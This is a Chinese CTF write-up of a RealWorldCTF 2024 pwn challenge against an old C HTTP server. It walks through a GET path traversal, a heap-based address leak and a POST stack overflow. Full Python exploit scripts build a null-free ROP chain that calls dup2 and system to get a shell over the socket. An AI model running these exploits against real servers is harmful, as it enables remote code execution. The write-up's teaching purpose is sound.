深入解析RealWorldCTF 2024体验赛PWN方向题目

前言

本报告旨在对RealWorldCTF 2024体验赛中的Pwn方向题目------"Be-an-HTPPd-Hacker"进行深入解析和讲解。该题目涉及一个十一年前的项目,其基于C语言实现了HTTP协议。我们将通过对该协议进行栈溢出攻击,探索真实世界中的攻击手法,并从中学习更多有用的攻击技巧,以提升我们的安全水平。通过理解攻击原理和方法,我们能够更好地理解安全防御的重要性,并为未来的安全工作做好准备。本报告将详细介绍攻击过程,希望能为读者提供深入而有价值的学习体验。

搜索字符串,github找源码

从IDA中,shift+F12提取,得到字符串,在github进行搜索能够得到源码在这:

github.com/bnlf/httpd/...

具体构造

构造的代码如下,也就是方法 地址 加协议:

sql 复制代码
 method, uri, vProtocol

POST [www.baidu.com](http://www.baidu.com/) xxx

源码如下:

sql 复制代码
request parseRequest(char buffer[]) {    char *ptr = buffer;    char method[MAXLINE], uri[MAXLINE], vProtocol[MAXLINE];    request req;        sscanf(ptr, "%s %s %s", method, uri, vProtocol); ​    // Somente GET ou POST    if(strcasecmp(method, "GET") == 0)         req.method = "GET";    else if (strcasecmp(method, "POST") == 0)         req.method = "POST";    else {        req.method = "INVALID";        req.vProtocol = "INVALID";        req.uri[0] = '\0';        return req;    }​    // Sera testado futuramente. Por enquanto aceita que é um uri valido    req.uri = uri;        if(strcasecmp(vProtocol, "HTTP/1.0") == 0)        req.vProtocol = "HTTP/1.0";    else if (strcasecmp(vProtocol, "HTTP/1.1") == 0)        req.vProtocol = "HTTP/1.1";    else        req.vProtocol = "HTTP/1.1"; // se nao especificado​    return req;}​

GET路径穿越

其中get请求,经过简单尝试和逆向发现存在路径穿越,其直接对WWW进行拼接读取。

ini 复制代码
    else if (res.status == 200 ) // Ok    {         return sendFile(req, res,connfd);    }

阅读源码发现如上。

路径穿越漏洞(Path Traversal Vulnerability)是一种常见的安全漏洞,通常发生在Web应用程序或文件系统中。它允许攻击者访问他们没有权限访问的文件或目录,通过修改文件路径来绕过应用程序的访问控制机制。

不过flag没有可读权限,只能通过readflag来执行。

scss 复制代码
from evilblade import *​context(os='linux', arch='amd64')# context(os='linux', arch='amd64', log_level='debug')#GET /index.html HTTP/1.1setup('./pwn')libset('./libc.so.6')rsetup('127.0.0.1',33333)# rsetup('121.40.246.203',30594)# pause()payload = 'GET ' + '/img/../../../etc/profile  HTTP/1.0\x00'# payload = b'POST /form-example.html/../img/../../../add HTTP/1.1\r\n'pause()sl(payload)​ia()​

这是路径穿越读/etc/profile。

POST栈溢出

其实不是源码也分析的差不多了,就是不太理解这个&=的分割,还有会存在一个奇怪的堆溢出,堆溢出主要是因为malloc大小引起的,在计算

arduino 复制代码
    char *line = (char*) malloc(end-start);

中,end出现小于start的情况。我们可以输入多个\n来使得heap足够大,避免溢出的情况。

代码可以看到:

css 复制代码
int sendPostMessage(request req, response res, int connfd, char *linePost){​    char buffer[MAXLINE];        //Prepara cabecalho HTML    sprintf(buffer, "<html><head><title>Submitted Form</title></head>");        //Cria body    strcat(buffer, "<body><h1>Received variables</h1><br><table>");​    strcat(buffer, "<tr><th>Variables</th><th>Values</th></tr>");        char * pch;    char temp[250];​    pch = strtok (linePost,"&=");​    while (pch != NULL)    {        sprintf(temp, "<tr><td>%s</td>", pch);        strcat(buffer, temp);​        pch = strtok (NULL, "&=");​        sprintf(temp, "<td>%s</td></tr>", pch);        strcat(buffer, temp);​        pch = strtok (NULL, "&=");​    }​    //Fecha body e html    strcat(buffer, "</table></body></html>");​    sendHeader(connfd, req, res, "OK", "text/html");​    write(connfd, buffer, strlen(buffer));​    return 0;}

也就是会根据&或者=分割之后,进行连接到temp。

帮助网安学习,全套资料S信领取:

① 网安学习成长路径思维导图

② 60+网安经典常用工具包

③ 100+SRC漏洞分析报告

④ 150+网安攻防实战技术电子书

⑤ 最权威CISSP 认证考试指南+题库

⑥ 超1800页CTF实战技巧手册

⑦ 最新网安大厂面试题合集(含答案)

⑧ APP客户端安全检测指南(安卓+IOS)

其中linepost如下:

perl 复制代码
void httpd(int connfd) {​                         char buffer[MAXLINE]; // Buffer dos dados de input    char fileBuffer[MAXLINE];    request req; // Pedido do cliente    response res; // Resposta do servidor    struct stat st;    int n;    int sizeContent = -1;​    // Le o que está vindo no socket    n=read(connfd, buffer, MAXLINE);        int i = strlen(buffer);    char options[MAXLINE];    int statusRead = 0;    strcpy(options, buffer);​    while(statusRead == 0)    {        if((options[i-3] == '\n' && options[i-1] == '\n') || options[i-1] != '\n')        {            statusRead = 1;        }        else        {            n=read(connfd, options, MAXLINE);            //strcat(buffer, options);            //printf("%s\n", buffer);            i = strlen(options);​            if(options[0] == '\r' && options[1] == '\n' && n == 2)                statusRead = 1;        }    }​    // Faz o parse da requisicao     req = parseRequest(buffer);​    char *linePost;​    //Encontra no buffer o tamanho do conteudo      if(strcmp(req.method, "POST") ==0)    {        linePost = getLastLineRead(buffer);    }   //......

char *getLastLineRead(char *buffer) {​    int numLines = 0;    int start = 0;    int end = 0;    int bufSize = strlen(buffer);        int i = 0;    int j = 0;​    for (i=0;i<bufSize;i++) {        if (buffer[i]=='\n') {            numLines++;        }    }​    int *vetPositionLine = (int*) malloc(numLines);       for (i=0;i<bufSize;i++) {        if (buffer[i]=='\n') {            vetPositionLine[j] = i;//出现回车的地方            j++;                    }    }​    start = vetPositionLine[numLines-3];    end = vetPositionLine[numLines-1];          char *line = (char*) malloc(end-start);    strncpy(line,buffer+end,bufSize-end);​    return line;}

就是说当他会把\n处作为起始地址,然后把后面的内容复制到line,这样就可以泄漏地址了!

使用exp:

scss 复制代码
from evilblade import *​context(os='linux', arch='amd64')​setup('./pwn')libset('./libc.so.6')rsetup('127.0.0.1',33333)​payload = b'POST '+ b'A'*3982 + b'\n'pause()sl(payload)​ia()
  • 调试方法:执行exp后,用ps -ef | grep 'httpd'之后找到最新的进程用sudo gdb -p PID即可。

或者直接使用命令:sudo gdb -p $(pgrep -n -f './httpd 12345')

最后会从buf+你输入的数据长度,取一个数据写到heap中,下次取出来作参数。

主要对此处进行断点观察。

可以看到:

由此可以泄漏出libc甚至其他了。

使用脚本:

scss 复制代码
from evilblade import *​context(os='linux', arch='amd64')​setup('./pwn')libset('./libc.so.6')rsetup('127.0.0.1',33333)payload = b'POST '+ b'A'*3982 + b'\n'sl(payload)​ru("Values</th></tr><tr><td>")stack = u32(rv(4))dx(stack)ld = u32(rv(4))-0xc0cdx(ld)libc = u32(rv(4))-2324400dx(libc)​ia()

泄漏得到:

csharp 复制代码
​---------------your stack is >>> 0xff9c9f0a---------------​---------------your ld is >>> 0xedf40000---------------​---------------your libc is >>> 0xedcca000---------------

构造ROP

从这个部分可以发现,会将原本的内容根据&=分割,然后加上之类的字符串,使得字符串长度变大,会导致栈溢出。那么我们根据前面得到的基地址,和这个部分漏洞进行ROP构造,从而getshell。

arduino 复制代码
    char * pch;    char temp[250];​    pch = strtok (linePost,"&=");while (pch != NULL){    sprintf(temp, "<tr><td>%s</td>", pch);    strcat(buffer, temp);​    pch = strtok (NULL, "&=");​    sprintf(temp, "<td>%s</td></tr>", pch);    strcat(buffer, temp);​    pch = strtok (NULL, "&=");​}

做以下构造,经过多次尝试终于得到了控制返回地址为xxxx:

scss 复制代码
from evilblade import *​context(os='linux', arch='amd64')​setup('./pwn')libset('./libc.so.6')​rsetup('127.0.0.1',33333)payload = b'POST '+ b'A='*1850​#test= cyclic(0x700).decode()#modified_test = ''.join(['=' if (i) % 5 == 0 else test[i] for i in range(len(test))])#d(modified_test)​payload = b'POST / A\n'+ b"A"*2400 + b"\n"payload += b"=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=jaab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv=acwa=cxaa=yaac=aadb=adca=ddaa=eaad=aadg=adha=diaa=jaad=aadl=adma=dnaa=oaad=aadq=adra=dsaa=taad=aadv=adwa=dxaa=yaad=aaeb=aeca=edaa=eaae=aaeg=aeha=eiaa=jaae=aael=aema=enaa=oaae=aaeq=aera=esaa=taae=aaev=aewa=exaa=yaae=aafb=afca=fdaa=eaaf=aafg=afha=fiaa=jaaf=aafl=afma=fnaa=oaaf=aafq=afra=fsaa=taaf=aafv=afwa=fxaa=yaaf=aagb=agca=gdaa=eaag=aagg=agha=giaa=jaag=aagl=agma=gnaa=oaag=aagq=agra=gsaa=taag=aagv=agwa=gxaa=yaag=aahb=ahca=hdaa=eaah=aahg=ahha=hiaa=jaah=aahl=ahma=hnaa=oaah=aahq=ahra=hsaa=taah=aahv=ahwa=hxaa=yaah=aaib=aica=idaa=eaai=aaig=aiha=iiaa=jaai=aail=aima=inaa=oaai=aaiq=aira=isaa=taai=aaiv=aiwa=ixaa=yaai=aajb=ajca=jdaa=eaaj=aajg=ajha=jiaa=jaaj=aajl=ajma=jnaa=oaaj=aajq=ajra=jsaa=taaj=aajv=ajwa=jxaa=yaaj=aakb=akca=kdaa=eaak=aakg=akha=kiaa=jaak=aakl=akma=knaa=oaak=aakq=akra=ksaa=taak=aakv=akwa=kxaa=yaak=aalb=alca=ldaa=eaal=aalg=pppp"payload += b"=" + p32(0xeb029050)*10+ b"xxxx" + b"="d(payload)dpx('len',len(payload))pause()sd(payload)

其中xxxx为任意地址,可以返回!

由于 sprintf的原因,不能输入\x00和\n之类的作为rop,我这里采取加减法的方式进行绕过,先输入不包含0和0a的字符,后续根据加减恢复到我们需要的字符。

搜索有:

css 复制代码
pwndbg> search -4 0x11111111Searching for value: b'\x11\x11\x11\x11'libc.so.6       0xf0ca28f4 0x11111111libc.so.6       0xf0ca2a08 0x11111111libc.so.6       0xf0ca2a0c 0x11111111​计算得到:λ ~/ pythonPython 3.11.6 (main, Nov 14 2023, 09:36:21) [GCC 13.2.1 20230801] on linuxType "help", "copyright", "credits" or "license" for more information.>>> hex(0xf0ca28f4 -0xf0af1000)'0x1b18f4'#这是libc偏移>>> hex(0x100000000-0x11111111)'0xeeeeeeef'>>>

那么我们用以上作为差值计算,其中0x11111111+0xeeeeeeef相加等于0。

构造的ROP如下:

scss 复制代码
push_esi = p32(libc+0x00061c0d) # push esi ; retnop_ret = p32(libc+0x0002fce8) # nop ; retread = p32(symoff("read",libc))pop_ebx = p32(0x0002c01f+libc) # pop ebx ; retadd_ebx = p32(0x001959c2 +libc)# add ebx, eax ; add eax, 2 ; ret)pop_eax = p32(libc+0x0002ed92)#: pop eax ; ret)add_ecx = p32(libc+0x000b4fd3) # : add ecx, dword ptr [ebx + 0x5f082444] ; ret)​# dup2($ebx,$ecx)rop =  pop_esi + dup22rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444)rop += pop_ecx_eax + p32(0xeeeeeeef)*2rop += add_ecx #$ecx = 0rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)rop += add_ebx #$ebx = 4rop += push_esi​rop += pop_esi + dup22rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444)rop += pop_ecx_eax + p32(0xeeeeeeef+0x1)*2rop += add_ecx #$ecx=1rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)rop += add_ebx #$ebx = 4rop += push_esirop += p32(symoff("system",libc)) + p32(0xdeadbef) + p32(libc+0x001bd0d5)if b"=" in rop or b"\x00" in rop:    print("stop!")    pause()​payload = b'POST '+ b"A"*2400 + b"\n"payload += b"=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=jaab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv=acwa=cxaa=yaac=aadb=adca=ddaa=eaad=aadg=adha=diaa=jaad=aadl=adma=dnaa=oaad=aadq=adra=dsaa=taad=aadv=adwa=dxaa=yaad=aaeb=aeca=edaa=eaae=aaeg=aeha=eiaa=jaae=aael=aema=enaa=oaae=aaeq=aera=esaa=taae=aaev=aewa=exaa=yaae=aafb=afca=fdaa=eaaf=aafg=afha=fiaa=jaaf=aafl=afma=fnaa=oaaf=aafq=afra=fsaa=taaf=aafv=afwa=fxaa=yaaf=aagb=agca=gdaa=eaag=aagg=agha=giaa=jaag=aagl=agma=gnaa=oaag=aagq=agra=gsaa=taag=aagv=agwa=gxaa=yaag=aahb=ahca=hdaa=eaah=aahg=ahha=hiaa=jaah=aahl=ahma=hnaa=oaah=aahq=ahra=hsaa=taah=aahv=ahwa=hxaa=yaah=aaib=aica=idaa=eaai=aaig=aiha=iiaa=jaai=aail=aima=inaa=oaai=aaiq=aira=isaa=taai=aaiv=aiwa=ixaa=yaai=aajb=ajca=jdaa=eaaj=aajg=ajha=jiaa=jaaj=aajl=ajma=jnaa=oaaj=aajq=ajra=jsaa=taaj=aajv=ajwa=jxaa=yaaj=aakb=akca=kdaa=eaak=aakg=akha=kiaa=jaak=aakl=akma=knaa=oaak=aakq=akra=ksaa=taak=aakv=akwa=kxaa=yaak=aalb=alca=ldaa=eaal=aalg=pppp"payload += b"=" + (nop_ret)*10payload += roppayload += b"="​

完整exp如下:

scss 复制代码
from evilblade import *​context(os='linux', arch='amd64')​setup('./pwn')libset('./libc.so.6')​rsetup('127.0.0.1',33333)payload = b'POST '+ b'A'*3982 + b'\n'sl(payload)​ru("Values</th></tr><tr><td>")stack = u32(rv(4))-0x1ed0adx(stack)ld = u32(rv(4))-0xc0cdx(ld)libc = u32(rv(4))-2324400dx(libc)​close()rsetup('127.0.0.1',33333)payload = b'POST '+ b'A='*1850 ​#test= cyclic(0x700).decode()#modified_test = ''.join(['=' if (i) % 5 == 0 else test[i] for i in range(len(test))])#d(modified_test)​​sub_eax_ecx = p32(libc + 0x0018b0f8) # sub eax, ecx ; retpush_eax = p32(libc + 0x00036a7d) # push eax ; retpop_ecx_eax = p32(libc + 0x001280f4) # pop ecx ; pop eax ; retdup22 = p32(symoff("dup2",libc)+0xe)push_edx = p32(libc+0x00192ac8) # push edx ; ret pop_edx = p32(libc+0x00037375) # pop edx ; retpop_esi = p32(libc+0x00021479) # pop esi ; retpush_esi = p32(libc+0x00061c0d) # push esi ; retnop_ret = p32(libc+0x0002fce8) # nop ; retread = p32(symoff("read",libc))pop_ebx = p32(0x0002c01f+libc) # pop ebx ; retadd_ebx = p32(0x001959c2 +libc)# add ebx, eax ; add eax, 2 ; ret)pop_eax = p32(libc+0x0002ed92)#: pop eax ; ret)add_ecx = p32(libc+0x000b4fd3) # : add ecx, dword ptr [ebx + 0x5f082444] ; ret)# dup2($ebx,$ecx)rop =  pop_esi + dup22rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444)rop += pop_ecx_eax + p32(0xeeeeeeef)*2rop += add_ecx #$ecx = 0rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)rop += add_ebx #$ebx = 4rop += push_esi​rop += pop_esi + dup22rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444)rop += pop_ecx_eax + p32(0xeeeeeeef+0x1)*2rop += add_ecx #$ecx=1rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)rop += add_ebx #$ebx = 4rop += push_esirop += p32(symoff("system",libc)) + p32(0xdeadbef) + p32(libc+0x001bd0d5)if b"=" in rop or b"\x00" in rop:    print("stop!")    pause()​payload = b'POST '+ b"A"*2400 + b"\n"payload += b"=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=jaab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv=acwa=cxaa=yaac=aadb=adca=ddaa=eaad=aadg=adha=diaa=jaad=aadl=adma=dnaa=oaad=aadq=adra=dsaa=taad=aadv=adwa=dxaa=yaad=aaeb=aeca=edaa=eaae=aaeg=aeha=eiaa=jaae=aael=aema=enaa=oaae=aaeq=aera=esaa=taae=aaev=aewa=exaa=yaae=aafb=afca=fdaa=eaaf=aafg=afha=fiaa=jaaf=aafl=afma=fnaa=oaaf=aafq=afra=fsaa=taaf=aafv=afwa=fxaa=yaaf=aagb=agca=gdaa=eaag=aagg=agha=giaa=jaag=aagl=agma=gnaa=oaag=aagq=agra=gsaa=taag=aagv=agwa=gxaa=yaag=aahb=ahca=hdaa=eaah=aahg=ahha=hiaa=jaah=aahl=ahma=hnaa=oaah=aahq=ahra=hsaa=taah=aahv=ahwa=hxaa=yaah=aaib=aica=idaa=eaai=aaig=aiha=iiaa=jaai=aail=aima=inaa=oaai=aaiq=aira=isaa=taai=aaiv=aiwa=ixaa=yaai=aajb=ajca=jdaa=eaaj=aajg=ajha=jiaa=jaaj=aajl=ajma=jnaa=oaaj=aajq=ajra=jsaa=taaj=aajv=ajwa=jxaa=yaaj=aakb=akca=kdaa=eaak=aakg=akha=kiaa=jaak=aakl=akma=knaa=oaak=aakq=akra=ksaa=taak=aakv=akwa=kxaa=yaak=aalb=alca=ldaa=eaal=aalg=pppp"payload += b"=" + (nop_ret)*10payload += roppayload += b"="​​d(payload)dpx('len',len(payload))dpx("begin",uu64(pop_esi))dpx("nop",uu64(nop_ret))dx(stack)pause()sd(payload)​ia()

攻击结果:

相关推荐
Larcher25 分钟前
新手也能学会,100行代码玩AI LOGO
前端·llm·html
徐子颐37 分钟前
从 Vibe Coding 到 Agent Coding:Cursor 2.0 开启下一代 AI 开发范式
前端
小月鸭1 小时前
如何理解HTML语义化
前端·html
jump6801 小时前
url输入到网页展示会发生什么?
前端
诸葛韩信1 小时前
我们需要了解的Web Workers
前端
brzhang1 小时前
我觉得可以试试 TOON —— 一个为 LLM 而生的极致压缩数据格式
前端·后端·架构
huangdengji1 小时前
基于openresty反向代理、dns劫持、实现对http请求、响应内容抓包
网络协议·http·openresty
yivifu2 小时前
JavaScript Selection API详解
java·前端·javascript
这儿有一堆花2 小时前
告别 Class 组件:拥抱 React Hooks 带来的函数式新范式
前端·javascript·react.js
十二春秋2 小时前
场景模拟:基础路由配置
前端